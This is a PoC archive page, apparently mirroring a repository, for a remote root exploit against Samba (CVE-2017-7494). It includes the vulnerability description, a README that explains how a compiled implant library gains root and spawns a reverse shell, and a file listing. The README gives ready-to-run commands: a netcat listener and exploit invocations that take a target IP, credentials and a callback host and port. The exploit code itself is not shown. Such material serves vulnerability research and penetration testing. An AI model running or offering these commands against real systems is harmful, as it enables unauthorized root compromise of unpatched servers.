Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2017-7494 PoC — Samba 安全漏洞

Source
Associated Vulnerability
Title:Samba 安全漏洞 (CVE-2017-7494)
Description:Samba since version 3.5.0 and before 4.6.4, 4.5.10 and 4.4.14 is vulnerable to remote code execution vulnerability, allowing a malicious client to upload a shared library to a writable share, and then cause the server to load and execute it.
Description
Remote root exploit for the SAMBA CVE-2017-7494 vulnerability
Readme
# CVE-2017-7494

Remote root exploit for the SAMBA CVE-2017-7494 vulnerability.

## Details

This exploit is divided in 2 parts:

 * First, it compiles a payload called "implant.c" and generates a library (libimplantx32.so or libimplantx64.so) that changes to the root user, detaches from the parent process and spawns a reverse shell.
 * Second, it finds a writeable share in the specified target host, uploads the library with a random name and tries to load it.

As long as the target is vulnerable and the payload is the correct for the target operating system and architecture, the exploit is 100% reliable.

## How to

In your machine, run the following command:

```
$ nc -p 31337 -l
```

Then, run the exploit against your target and wait until it connects back to your Netcat:

```
$ python cve_2017_7494.py -t target_ip
```

If you close too fast the reverse shell, instead of running again the exploit uploading the module, etc... you can just pass the path to the module it already uploaded. Supposing it was uploaded to /shared/directory/ as "module.so", you would run a command like the following one:

```
$ python cve_2017_7494.py -t target_ip -m /shared/directory/module.so
```


## UPDATE 11/25/2017 - Archivaldo

You can now run the exploit again samba 3.5.0 and 3.6.0, you just need add the argument -o 1
```
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -o 1 
```

You can now use your own custom .so
```
python cve_2017_7494.py -t target_ip -u test -P 123456 -o 1 --custom myso.so
```

In case you need to run this script from a x86 machine, compiling the implant binaries will create two x86 files. Using the flag -n 1 you can disable compilation and copy libimplantx64.so from another machine.
```
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -n 1
```

In case samba runs just on port 139. You can set the remote server port using the argument -p
```
python cve_2017_7494.py -t target_ip -p 139 -u test -P 123456 --rhost shell_ip --rport shell_port -n 1
```

## NOTES

I do not support it anymore.

--
Joxean Koret
File Snapshot

[4.0K] /data/pocs/a3537a5e3fb9a47ad01d59776189f69615ef4cad ├── [ 118] config.h ├── [7.7K] cve_2017_7494.py ├── [4.0K] impacket │   ├── [ 13K] cdp.py │   ├── [ 18K] crypto.py │   ├── [4.0K] dcerpc │   │   ├── [ 5] __init__.py │   │   └── [4.0K] v5 │   │   ├── [6.7K] atsvc.py │   │   ├── [4.0K] dcom │   │   │   ├── [ 57K] comev.py │   │   │   ├── [ 5] __init__.py │   │   │   ├── [ 32K] oaut.py │   │   │   ├── [ 12K] scmp.py │   │   │   ├── [9.3K] vds.py │   │   │   └── [112K] wmi.py │   │   ├── [ 65K] dcomrt.py │   │   ├── [7.1K] dhcpm.py │   │   ├── [ 43K] drsuapi.py │   │   ├── [ 12K] dtypes.py │   │   ├── [ 27K] enum.py │   │   ├── [ 90K] epm.py │   │   ├── [ 5] __init__.py │   │   ├── [ 56K] lsad.py │   │   ├── [ 16K] lsat.py │   │   ├── [5.1K] mgmt.py │   │   ├── [7.1K] mimilib.py │   │   ├── [ 70K] ndr.py │   │   ├── [ 89K] nrpc.py │   │   ├── [ 71K] rpcrt.py │   │   ├── [ 30K] rrp.py │   │   ├── [ 92K] samr.py │   │   ├── [6.1K] sasec.py │   │   ├── [ 43K] scmr.py │   │   ├── [ 88K] srvs.py │   │   ├── [ 16K] transport.py │   │   ├── [ 21K] tsch.py │   │   └── [ 34K] wkst.py │   ├── [6.7K] dhcp.py │   ├── [ 29K] dns.py │   ├── [1018] Dot11Crypto.py │   ├── [1.5K] Dot11KeyManager.py │   ├── [110K] dot11.py │   ├── [1.4K] eap.py │   ├── [ 36K] ese.py │   ├── [4.0K] examples │   │   ├── [ 5] __init__.py │   │   ├── [1.5K] logger.py │   │   ├── [4.0K] ntlmrelayx │   │   │   ├── [4.0K] clients │   │   │   │   ├── [3.2K] httprelayclient.py │   │   │   │   ├── [2.5K] imaprelayclient.py │   │   │   │   ├── [ 219] __init__.py │   │   │   │   ├── [3.5K] ldaprelayclient.py │   │   │   │   ├── [3.8K] mssqlrelayclient.py │   │   │   │   └── [ 11K] smbrelayclient.py │   │   │   ├── [ 5] __init__.py │   │   │   ├── [4.0K] servers │   │   │   │   ├── [ 16K] httprelayserver.py │   │   │   │   ├── [ 86] __init__.py │   │   │   │   └── [ 24K] smbrelayserver.py │   │   │   └── [4.0K] utils │   │   │   ├── [2.4K] config.py │   │   │   ├── [ 5] __init__.py │   │   │   ├── [6.3K] targetsutils.py │   │   │   └── [1.0K] tcpshell.py │   │   ├── [120K] remcomsvc.py │   │   ├── [ 95K] secretsdump.py │   │   └── [9.6K] serviceinstall.py │   ├── [4.2K] helper.py │   ├── [575K] hresult_errors.py │   ├── [ 19K] ICMP6.py │   ├── [ 33K] ImpactDecoder.py │   ├── [ 65K] ImpactPacket.py │   ├── [ 777] __init__.py │   ├── [ 11K] IP6_Address.py │   ├── [ 11K] IP6_Extension_Headers.py │   ├── [6.4K] IP6.py │   ├── [4.0K] krb5 │   │   ├── [ 21K] asn1.py │   │   ├── [ 18K] ccache.py │   │   ├── [ 20K] constants.py │   │   ├── [ 30K] crypto.py │   │   ├── [9.5K] gssapi.py │   │   ├── [ 5] __init__.py │   │   ├── [ 24K] kerberosv5.py │   │   ├── [6.7K] pac.py │   │   └── [9.4K] types.py │   ├── [4.0K] ldap │   │   ├── [ 5] __init__.py │   │   ├── [ 24K] ldapasn1.py │   │   └── [ 26K] ldap.py │   ├── [ 12K] mqtt.py │   ├── [6.3K] NDP.py │   ├── [ 33K] nmb.py │   ├── [380K] nt_errors.py │   ├── [ 41K] ntlm.py │   ├── [4.1K] pcapfile.py │   ├── [5.2K] pcap_linktypes.py │   ├── [ 73K] smb3.py │   ├── [ 40K] smb3structs.py │   ├── [ 36K] smbconnection.py │   ├── [153K] smb.py │   ├── [202K] smbserver.py │   ├── [ 14K] spnego.py │   ├── [ 25K] structure.py │   ├── [565K] system_errors.py │   ├── [ 56K] tds.py │   ├── [4.0K] testcases │   │   ├── [4.0K] dot11 │   │   │   ├── [ 48] runalltestcases.bat │   │   │   ├── [ 791] runalltestcases.sh │   │   │   ├── [3.4K] test_Dot11Base.py │   │   │   ├── [2.4K] test_Dot11Decoder.py │   │   │   ├── [5.8K] test_Dot11HierarchicalUpdate.py │   │   │   ├── [1.8K] test_FrameControlACK.py │   │   │   ├── [2.2K] test_FrameControlCFEndCFACK.py │   │   │   ├── [2.1K] test_FrameControlCFEnd.py │   │   │   ├── [1.8K] test_FrameControlCTS.py │   │   │   ├── [2.2K] test_FrameControlPSPoll.py │   │   │   ├── [2.1K] test_FrameControlRTS.py │   │   │   ├── [3.9K] test_FrameData.py │   │   │   ├── [8.2K] test_FrameManagementAssociationRequest.py │   │   │   ├── [7.3K] test_FrameManagementAssociationResponse.py │   │   │   ├── [6.3K] test_FrameManagementAuthentication.py │   │   │   ├── [4.9K] test_FrameManagementDeauthentication.py │   │   │   ├── [4.9K] test_FrameManagementDisassociation.py │   │   │   ├── [6.0K] test_FrameManagementProbeRequest.py │   │   │   ├── [ 11K] test_FrameManagementProbeResponse.py │   │   │   ├── [8.5K] test_FrameManagement.py │   │   │   ├── [8.8K] test_FrameManagementReassociationRequest.py │   │   │   ├── [7.4K] test_FrameManagementReassociationResponse.py │   │   │   ├── [1.6K] test_helper.py │   │   │   ├── [3.1K] test_RadioTapDecoder.py │   │   │   ├── [ 29K] test_RadioTap.py │   │   │   ├── [5.3K] test_WEPDecoder.py │   │   │   ├── [4.4K] test_WEPEncoder.py │   │   │   ├── [4.0K] test_WPA2.py │   │   │   ├── [5.6K] test_WPA.py │   │   │   └── [1.4K] test_wps.py │   │   ├── [4.0K] ImpactPacket │   │   │   ├── [ 5] __init__.py │   │   │   ├── [ 48] runalltestcases.bat │   │   │   ├── [ 726] runalltestcases.sh │   │   │   ├── [4.2K] test_ethernet.py │   │   │   ├── [9.4K] test_ICMP6.py │   │   │   ├── [7.6K] test_IP6_Address.py │   │   │   ├── [ 28K] test_IP6_Extension_Headers.py │   │   │   ├── [3.1K] test_IP6.py │   │   │   ├── [1.3K] test_TCP_bug_issue7.py │   │   │   └── [4.5K] test_TCP.py │   │   ├── [ 5] __init__.py │   │   └── [4.0K] SMB_RPC │   │   ├── [ 276] dcetests.cfg │   │   ├── [ 5] __init__.py │   │   ├── [ 548] rundce.sh │   │   ├── [ 14K] test_dcomrt.py │   │   ├── [6.8K] test_dhcpm.py │   │   ├── [ 21K] test_drsuapi.py │   │   ├── [8.2K] test_epm.py │   │   ├── [4.7K] test_ldap.py │   │   ├── [ 41K] test_lsad.py │   │   ├── [ 14K] test_lsat.py │   │   ├── [6.5K] test_mgmt.py │   │   ├── [5.0K] test_mimilib.py │   │   ├── [131K] test_ndr.py │   │   ├── [1.8K] test_nmb.py │   │   ├── [ 38K] test_nrpc.py │   │   ├── [ 11K] test_ntlm.py │   │   ├── [ 20K] test_rpcrt.py │   │   ├── [ 24K] test_rrp.py │   │   ├── [114K] test_samr.py │   │   ├── [ 30K] test_scmr.py │   │   ├── [ 15K] test_smb.py │   │   ├── [3.4K] test_spnego.py │   │   ├── [ 41K] test_srvs.py │   │   ├── [ 31K] test_tsch.py │   │   ├── [ 19K] test_wkst.py │   │   └── [ 10K] test_wmi.py │   ├── [2.5K] uuid.py │   ├── [ 361] version.py │   ├── [ 15K] winregistry.py │   └── [ 11K] wps.py ├── [4.0K] impacket_git ├── [3.3K] implant.c ├── [ 34K] LICENSE ├── [ 293] Makefile └── [2.1K] README.md 16 directories, 172 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →